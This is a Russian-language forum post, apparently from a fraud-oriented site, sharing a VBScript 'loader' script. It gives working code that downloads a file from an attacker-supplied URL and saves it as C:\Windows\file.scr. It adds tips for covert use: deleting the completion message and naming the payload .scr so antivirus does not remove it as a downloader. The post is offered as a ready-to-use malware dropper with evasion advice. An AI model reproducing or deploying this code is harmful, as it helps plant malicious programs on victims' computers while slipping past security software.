1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Скрипт лоадера на vbs

Тема в разделе "Наши статьи", создана пользователем trojface, 29 авг 2012.

  1. TopicStarter Overlay
    trojface

    trojface Гость

    Код:
    Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP")
    'подключение
    oXMLHTTP.Open "GET", "http://ваш сайт/file.scr", 0
    'получение файла
    oXMLHTTP.Send
    Set oADOStream = CreateObject("ADODB.Stream")
    oADOStream.Mode = 3 'разрешение на чтение и запись
    oADOStream.Type = 1 'тип данных - Binary
    oADOStream.Open
    oADOStream.Write oXMLHTTP.responseBody
    'сохранение (с перезаписью файла при необходимости)
    oADOStream.SaveToFile "C:\Windows\file.scr", 2
    'сохранение файла в прописанной папке
    MsgBox "Файл скачан"
    Копируем код в блокнот сохраняем как *.vbs
    Если не нужно сообщения после закачки - уберите эту строку:
    Код:
    MsgBox "Файл скачан"
    В скрипте лучше к исполнительному файлу ставить формат scr (file.scr),
    если написать exe то антивирус удалит как даунлоадер.
     
    • Like Like x 2
    Метки:

Поделиться этой страницей

Загрузка...